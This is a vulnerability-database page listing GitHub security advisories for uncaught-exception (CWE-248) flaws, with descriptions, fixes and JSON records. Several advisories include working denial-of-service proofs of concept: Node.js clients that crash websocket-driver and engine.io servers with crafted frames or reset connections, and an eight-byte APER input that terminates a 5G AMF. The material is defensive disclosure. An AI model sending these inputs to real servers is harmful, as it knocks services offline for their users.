CWE-248
Weakness AllowedUncaught Exception
Abstraction: Base · Status: Draft
An exception is thrown from a function, but it is not caught.
Mapping guidance
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
Effectiveness: High
Content history
updated Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
Removed C from Applicable_Platforms
updated Applicable_Platforms
updated Relationships
updated Description, Relationships
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
updated Relationships, Taxonomy_Mappings
updated Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns
updated References
updated Relationships
updated Relationships
updated Relationships
updated Detection_Factors, Relationships
updated Mapping_Notes, Relationships
updated Observed_Examples
updated Relationships, Weakness_Ordinalities
updated Description, Potential_Mitigations, References
798 vulnerabilities reference this CWE, most recent first.
GHSA-V36F-RJG3-3V46
Vulnerability from github – Published: 2026-12-01 18:20 – Updated: 2026-12-01 18:20Summary
An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.
Details
The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.
To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allowDrafts: true when creating a driver instance.
Proof of concept
Given a server using websocket-driver to handle WebSocket connections:
const net = require('net')
const ws = require('websocket-driver')
let server = net.createServer((conn) => {
let driver = ws.server()
driver.on('connect', () => {
if (ws.isWebSocket(driver)) driver.start()
})
driver.on('close', () => conn.end())
conn.pipe(driver.io).pipe(conn)
driver.on('message', (msg) => console.log(msg.data))
})
server.listen(8000)
A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:
const net = require('net')
let tcp = net.connect(8000, '127.0.0.1')
tcp.on('connect', () => {
tcp.write([
'GET / HTTP/1.1',
'Host: 127.0.0.1:8000',
'Connection: upgrade',
'Upgrade: websocket',
'', ''
].join('\r\n'))
tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))
tcp.write(Buffer.from([0x80, 0x01, 0xff]))
})
This client will cause the server to emit the message Hi twice when it was only sent once. If the first frame is omitted and the client sends only 80 01 ff, then the server crashes.
After upgrading to a patched version, both these situations are handled correctly if allowDrafts: true is set. If it is not set then the connection is rejected as a bad request.
Impact
Users running a server using websocket-driver to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "websocket-driver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-140004"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-456"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-01T18:20:33Z",
"nvd_published_at": "2026-11-30T22:17:29Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nAn unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.\n\n### Details\n\nThe `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.\n\nTo mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance.\n\n### Proof of concept\n\nGiven a server using `websocket-driver` to handle WebSocket connections:\n\n```js\nconst net = require(\u0027net\u0027)\nconst ws = require(\u0027websocket-driver\u0027)\n\nlet server = net.createServer((conn) =\u003e {\n let driver = ws.server()\n\n driver.on(\u0027connect\u0027, () =\u003e {\n if (ws.isWebSocket(driver)) driver.start()\n })\n\n driver.on(\u0027close\u0027, () =\u003e conn.end())\n conn.pipe(driver.io).pipe(conn)\n\n driver.on(\u0027message\u0027, (msg) =\u003e console.log(msg.data))\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:\n\n```js\nconst net = require(\u0027net\u0027)\n\nlet tcp = net.connect(8000, \u0027127.0.0.1\u0027)\n\ntcp.on(\u0027connect\u0027, () =\u003e {\n tcp.write([\n \u0027GET / HTTP/1.1\u0027,\n \u0027Host: 127.0.0.1:8000\u0027,\n \u0027Connection: upgrade\u0027,\n \u0027Upgrade: websocket\u0027,\n \u0027\u0027, \u0027\u0027\n ].join(\u0027\\r\\n\u0027))\n\n tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))\n tcp.write(Buffer.from([0x80, 0x01, 0xff]))\n})\n```\n\nThis client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes.\n\nAfter upgrading to a patched version, both these situations are handled correctly if `allowDrafts: true` is set. If it is not set then the connection is rejected as a bad request.\n\n### Impact\n\nUsers running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.",
"id": "GHSA-v36f-rjg3-3v46",
"modified": "2026-12-01T18:20:33Z",
"published": "2026-12-01T18:20:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-v36f-rjg3-3v46"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140004"
},
{
"type": "WEB",
"url": "https://github.com/faye/websocket-driver-node/commit/f9f657c823ff826dc4bccda4c603ee076c089bd7"
},
{
"type": "PACKAGE",
"url": "https://github.com/faye/websocket-driver-node"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "websocket-driver: Message corruption and denial of service triggered by crafted client message"
}
GHSA-V47C-94R2-RJM7
Vulnerability from github – Published: 2026-08-14 12:31 – Updated: 2026-08-14 12:31actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.
{
"affected": [],
"aliases": [
"CVE-2026-72813"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-14T12:16:44Z",
"severity": "MODERATE"
},
"details": "actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.",
"id": "GHSA-v47c-94r2-rjm7",
"modified": "2026-08-14T12:31:25Z",
"published": "2026-08-14T12:31:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/actix/actix-web/security/advisories/GHSA-gcqf-3g44-vc9p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72813"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/actix-files-before-denial-of-service-via-empty-range-header"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V554-GP5G-23RQ
Vulnerability from github – Published: 2025-10-23 06:31 – Updated: 2025-10-23 06:31Uncaught Exception (CWE-248) in the Command Centre Server allows an Authorized and Privileged Operator to crash the Command Centre Server at will.
This issue affects Command Centre Server:
9.30 prior to vEL9.30.2482 (MR2), 9.20 prior to vEL9.20.2819 (MR4), 9.10 prior to vEL9.10.3672 (MR7), 9.00 prior to vEL9.00.3831 (MR8), all versions of 8.90 and prior.
{
"affected": [],
"aliases": [
"CVE-2025-48430"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-23T04:16:40Z",
"severity": "MODERATE"
},
"details": "Uncaught Exception (CWE-248) in the Command Centre Server allows an Authorized and Privileged Operator to crash the Command Centre Server at will.\n\nThis issue affects Command Centre Server: \n\n9.30 prior to vEL9.30.2482 (MR2), 9.20 prior to vEL9.20.2819 (MR4), 9.10 prior to vEL9.10.3672 (MR7), 9.00 prior to vEL9.00.3831 (MR8), all versions of 8.90 and prior.",
"id": "GHSA-v554-gp5g-23rq",
"modified": "2025-10-23T06:31:00Z",
"published": "2025-10-23T06:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48430"
},
{
"type": "WEB",
"url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2025-48430"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V6W5-38CF-PCV8
Vulnerability from github – Published: 2026-11-20 00:20 – Updated: 2026-11-20 00:20Summary
HandlePathSwitchRequest guards the UESecurityCapabilities IE for presence but never for length, and the extensible APER type silently yields an empty bit string, so six unguarded index-zero reads panic on an unrecovered goroutine and terminate the AMF. The AMF is the control-plane entry point for a 5G core, so terminating it drops mobility management for every subscriber. Confirmed at HEAD daed5a2 (present in v3.1.5).
The defect
ngap/handler.go:
if uESecurityCapabilities != nil { // line 3267, PRESENCE only
amfUe.UESecurityCapability.SetEA1_128_5G((uESecurityCapabilities.NRencryptionAlgorithms.Value.Bytes[0] & 0x80) >> 7) // line 3268
... (five more Bytes[0] reads, lines 3269-3273)
}
Six index-zero reads, all guarded only by a nil check on the containing IE. Why the bit string can be empty: the field is declared aper:"sizeExt,sizeLB:16,sizeUB:16". Because the type is EXTENSIBLE, parseBitString DISCARDS the SIZE(16) constraint when the peer sets the extension bit, and then if rawLength == 0 { return bitString, nil } returns a bit string with an empty Bytes slice and NO ERROR. So the decoder hands the handler a well-formed, error-free value whose Bytes has length zero, and the handler indexes it. The length guarantee the maintainers rely on comes from an ASN.1 SIZE constraint that the encoder rules legitimately waive on the extension path.
Verification
Proven dynamically, not by reading. Eight crafted bytes (40 00 80 00 80 00 80 00) decode cleanly through the REAL APER decoder, and the handler's exact expression then panics with "index out of range [0] with length 0". Panic discipline was checked first: the NGAP receive path has NO recover() (the only recover in the package is on SendToRan, the transmit path), so this is a genuine process kill and the AMF terminates.
Attacker model, stated conservatively: a rogue or compromised gNB on the N2 interface, which additionally needs one registered UE's AMF-UE-NGAP-ID. This is NOT reachable by a bare over-the-air UE; the realistic scenario is a compromised or malicious base station, the threat model N2 security exists to address.
Suggested fix
Check the length of Bytes before indexing, in all six places, and treat a short or empty bit string as a malformed IE with a PathSwitchRequestFailure rather than proceeding. More durably: since the SIZE constraint is waived on the extension path by design, no aper-decoded bit string can be assumed non-empty, so the same check is needed anywhere else a decoded bit string is indexed. Deduplicated against all eleven existing omec advisories and against hardening commit 030fe7c, which enumerated its sites and MISSED this handler.
Tooling
AI assistance was used while investigating. The panic was reproduced by driving the real APER decoder with crafted bytes and then the handler's exact expression, and the absence of recover() on the receive path was verified by enumeration rather than assumed. The reporter separately confirmed the six unguarded index-zero reads behind a presence-only check at HEAD.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/omec-project/amf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.1-0.20260725031321-d28042aaaea0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102945"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-1284",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T00:20:38Z",
"nvd_published_at": "2026-11-19T21:17:40Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nHandlePathSwitchRequest guards the UESecurityCapabilities IE for presence but never for length, and the extensible APER type silently yields an empty bit string, so six unguarded index-zero reads panic on an unrecovered goroutine and terminate the AMF. The AMF is the control-plane entry point for a 5G core, so terminating it drops mobility management for every subscriber. Confirmed at HEAD daed5a2 (present in v3.1.5).\n\n## The defect\n\nngap/handler.go:\n\n```go\nif uESecurityCapabilities != nil { // line 3267, PRESENCE only\n amfUe.UESecurityCapability.SetEA1_128_5G((uESecurityCapabilities.NRencryptionAlgorithms.Value.Bytes[0] \u0026 0x80) \u003e\u003e 7) // line 3268\n ... (five more Bytes[0] reads, lines 3269-3273)\n}\n```\n\nSix index-zero reads, all guarded only by a nil check on the containing IE. Why the bit string can be empty: the field is declared `aper:\"sizeExt,sizeLB:16,sizeUB:16\"`. Because the type is EXTENSIBLE, parseBitString DISCARDS the SIZE(16) constraint when the peer sets the extension bit, and then `if rawLength == 0 { return bitString, nil }` returns a bit string with an empty Bytes slice and NO ERROR. So the decoder hands the handler a well-formed, error-free value whose Bytes has length zero, and the handler indexes it. The length guarantee the maintainers rely on comes from an ASN.1 SIZE constraint that the encoder rules legitimately waive on the extension path.\n\n## Verification\n\nProven dynamically, not by reading. Eight crafted bytes (40 00 80 00 80 00 80 00) decode cleanly through the REAL APER decoder, and the handler\u0027s exact expression then panics with \"index out of range [0] with length 0\". Panic discipline was checked first: the NGAP receive path has NO recover() (the only recover in the package is on SendToRan, the transmit path), so this is a genuine process kill and the AMF terminates.\n\nAttacker model, stated conservatively: a rogue or compromised gNB on the N2 interface, which additionally needs one registered UE\u0027s AMF-UE-NGAP-ID. This is NOT reachable by a bare over-the-air UE; the realistic scenario is a compromised or malicious base station, the threat model N2 security exists to address.\n\n## Suggested fix\n\nCheck the length of Bytes before indexing, in all six places, and treat a short or empty bit string as a malformed IE with a PathSwitchRequestFailure rather than proceeding. More durably: since the SIZE constraint is waived on the extension path by design, no aper-decoded bit string can be assumed non-empty, so the same check is needed anywhere else a decoded bit string is indexed. Deduplicated against all eleven existing omec advisories and against hardening commit 030fe7c, which enumerated its sites and MISSED this handler.\n\n## Tooling\n\nAI assistance was used while investigating. The panic was reproduced by driving the real APER decoder with crafted bytes and then the handler\u0027s exact expression, and the absence of recover() on the receive path was verified by enumeration rather than assumed. The reporter separately confirmed the six unguarded index-zero reads behind a presence-only check at HEAD.",
"id": "GHSA-v6w5-38cf-pcv8",
"modified": "2026-11-20T00:20:38Z",
"published": "2026-11-20T00:20:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/omec-project/amf/security/advisories/GHSA-v6w5-38cf-pcv8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102945"
},
{
"type": "WEB",
"url": "https://github.com/omec-project/amf/pull/767"
},
{
"type": "WEB",
"url": "https://github.com/omec-project/amf/commit/d28042aaaea0221c5ea93c3e069a1dd5e7436f4c"
},
{
"type": "PACKAGE",
"url": "https://github.com/omec-project/amf"
},
{
"type": "WEB",
"url": "https://github.com/omec-project/amf/releases/tag/v3.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Aether Project amf: panic on an unrecovered NGAP goroutine"
}
GHSA-V775-F652-7RV6
Vulnerability from github – Published: 2026-12-01 02:56 – Updated: 2026-12-01 02:56Summary
A Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to unhandled socket errors when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via ECONNRESET) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an uncaught exception.
Proof of concept
import net from "node:net";
import http from "node:http";
import { Server } from "engine.io";
// Start a vulnerable Engine.IO server
const engine = new Server();
const server = http.createServer();
engine.attach(server);
server.listen(3000, () => {
console.log("Vulnerable server listening on port 3000");
// Attacker: Send an invalid upgrade request and disconnect abruptly
const socket = net.connect(3000, () => {
socket.write(
"GET / HTTP/1.1\r\n" +
"Connection: Upgrade\r\n" +
"Upgrade: websocket\r\n" +
"\r\n"
);
// Disconnect before the 1000ms timeout
setTimeout(() => socket.resetAndDestroy(), 10);
});
});
Expected Result: The server crashes with:
Unhandled 'error' event (ECONNRESET)
Patches
Fixed in:
engine.io@6.6.12(via commit https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31)
Workarounds
In vulnerable versions, the issue can be mitigated by registering a listener for the error event:
import http from "node:http";
import { Server } from "engine.io";
const engine = new Server();
const server = http.createServer();
// WORKAROUND: Add a global "upgrade" handler to catch ALL sockets
server.on("upgrade", (req, socket, head) => {
socket.on("error", (err) => {
console.debug(`[Workaround] Upgrade error: ${err.message}`);
});
});
engine.attach(server);
server.listen(3000);
Note: This is a temporary mitigation. Upgrading to engine.io@6.6.12 and above is the recommended fix.
Credits
The vulnerability was responsibly disclosed by YuSheng Chen.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "engine.io"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.6.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-137200"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-01T02:56:43Z",
"nvd_published_at": "2026-11-30T21:17:25Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to **unhandled socket errors** when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via `ECONNRESET`) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an **uncaught exception**.\n\n### Proof of concept\n\n```js\nimport net from \"node:net\";\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\n\n// Start a vulnerable Engine.IO server\nconst engine = new Server();\nconst server = http.createServer();\nengine.attach(server);\n\nserver.listen(3000, () =\u003e {\n console.log(\"Vulnerable server listening on port 3000\");\n\n // Attacker: Send an invalid upgrade request and disconnect abruptly\n const socket = net.connect(3000, () =\u003e {\n socket.write(\n \"GET / HTTP/1.1\\r\\n\" +\n \"Connection: Upgrade\\r\\n\" +\n \"Upgrade: websocket\\r\\n\" +\n \"\\r\\n\"\n );\n // Disconnect before the 1000ms timeout\n setTimeout(() =\u003e socket.resetAndDestroy(), 10);\n });\n});\n```\n\n**Expected Result:** The server crashes with:\n\n```\nUnhandled \u0027error\u0027 event (ECONNRESET)\n```\n\n### Patches\n\nFixed in:\n\n- `engine.io@6.6.12` (via commit https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31)\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by registering a listener for the `error` event:\n\n```js\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\n\nconst engine = new Server();\nconst server = http.createServer();\n\n// WORKAROUND: Add a global \"upgrade\" handler to catch ALL sockets\nserver.on(\"upgrade\", (req, socket, head) =\u003e {\n socket.on(\"error\", (err) =\u003e {\n console.debug(`[Workaround] Upgrade error: ${err.message}`);\n });\n});\n\nengine.attach(server);\n\nserver.listen(3000);\n```\n\nNote: This is a **temporary mitigation**. Upgrading to `engine.io@6.6.12` and above is the recommended fix.\n\n### Credits\n\nThe vulnerability was responsibly disclosed by [YuSheng Chen](https://github.com/samuel871211).",
"id": "GHSA-v775-f652-7rv6",
"modified": "2026-12-01T02:56:43Z",
"published": "2026-12-01T02:56:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-v775-f652-7rv6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-137200"
},
{
"type": "WEB",
"url": "https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31"
},
{
"type": "PACKAGE",
"url": "https://github.com/socketio/socket.io"
},
{
"type": "WEB",
"url": "https://github.com/socketio/socket.io/releases/tag/engine.io@6.6.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Socket.IO: Engine.IO DoS via unhandled upgrade error"
}
GHSA-V96G-5J57-774C
Vulnerability from github – Published: 2025-04-29 12:30 – Updated: 2025-07-28 15:31A flaw was found in the mod_auth_openidc module for Apache httpd. This flaw allows a remote, unauthenticated attacker to trigger a denial of service by sending an empty POST request when the OIDCPreservePost directive is enabled. The server crashes consistently, affecting availability.
{
"affected": [],
"aliases": [
"CVE-2025-3891"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-29T12:15:32Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the mod_auth_openidc module for Apache httpd. This flaw allows a remote, unauthenticated attacker to trigger a denial of service by sending an empty POST request when the OIDCPreservePost directive is enabled. The server crashes consistently, affecting availability.",
"id": "GHSA-v96g-5j57-774c",
"modified": "2025-07-28T15:31:35Z",
"published": "2025-04-29T12:30:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenIDC/mod_auth_openidc/security/advisories/GHSA-x7cf-8wgv-5j86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3891"
},
{
"type": "WEB",
"url": "https://github.com/OpenIDC/mod_auth_openidc/commit/6a0b5f66c87184dfe0e4400f6bdd46a82dc0ec2b"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:10002"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:10003"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:10004"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:10006"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:10007"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:10008"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:10010"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:4597"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:9396"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-3891"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2361633"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00007.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-V9P9-HFJ2-HCW8
Vulnerability from github – Published: 2026-03-13 20:41 – Updated: 2026-03-13 20:41Impact
The undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the server_max_window_bits parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range server_max_window_bits value (outside zlib's valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination.
The vulnerability exists because:
- The
isValidClientWindowBits()function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15 - The
createInflateRaw()call is not wrapped in a try-catch block - The resulting exception propagates up through the call stack and crashes the Node.js process
Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-2229"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:41:41Z",
"nvd_published_at": "2026-03-12T21:16:25Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range `server_max_window_bits` value (outside zlib\u0027s valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination.\n\nThe vulnerability exists because:\n\n1. The `isValidClientWindowBits()` function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15\n2. The `createInflateRaw()` call is not wrapped in a try-catch block\n3. The resulting exception propagates up through the call stack and crashes the Node.js process\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_",
"id": "GHSA-v9p9-hfj2-hcw8",
"modified": "2026-03-13T20:41:41Z",
"published": "2026-03-13T20:41:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-v9p9-hfj2-hcw8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2229"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3487486"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7692"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
},
{
"type": "WEB",
"url": "https://nodejs.org/api/zlib.html#class-zlibinflateraw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Undici has Unhandled Exception in WebSocket Client Due to Invalid server_max_window_bits Validation"
}
GHSA-VGFV-P7X2-FP2X
Vulnerability from github – Published: 2026-10-02 15:31 – Updated: 2026-10-02 15:31Uncaught exception, Improper Handling of Exceptional Conditions vulnerability in Apache Thrift Ruby bindings.
This issue affects Apache Thrift: before 0.25.0.
Users are recommended to upgrade to version 0.25.0, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-96277"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-02T13:18:05Z",
"severity": "HIGH"
},
"details": "Uncaught exception, Improper Handling of Exceptional Conditions vulnerability in Apache Thrift Ruby bindings.\n\n\n\nThis issue affects Apache Thrift: before 0.25.0.\n\n\n\nUsers are recommended to upgrade to version 0.25.0, which fixes the issue.",
"id": "GHSA-vgfv-p7x2-fp2x",
"modified": "2026-10-02T15:31:25Z",
"published": "2026-10-02T15:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96277"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/33otcgbqd27wf6qq810q56znzbomnhg1"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/k1t5r9sz7k5tn57cnf5khw2ywlxv6098"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VHVQ-FV9F-WH4Q
Vulnerability from github – Published: 2026-02-06 22:30 – Updated: 2026-02-06 22:30Description
A malformed or tampered-with LookupResources Cursor token can cause a panic in the SpiceDB process if it fails to parse. If an attacker were able to make requests to a SpiceDB instance, they could affect its availability.
Reproduction
If one was to take a cursor from a LookupResources call, decode it according to the logic that SpiceDB uses, and modify the Sections field to include an invalid relationship string, the process will panic.
Impact
An attacker would need both the ability to create a gRPC connection to your SpiceDB instance and a valid token, or else the ability to pass a cursor token from outside your application through to your SpiceDB instance.
If an attacker had this ability, they could bring down SpiceDB instances, reducing the availability of SpiceDB and any service that depends on it.
Mechanism
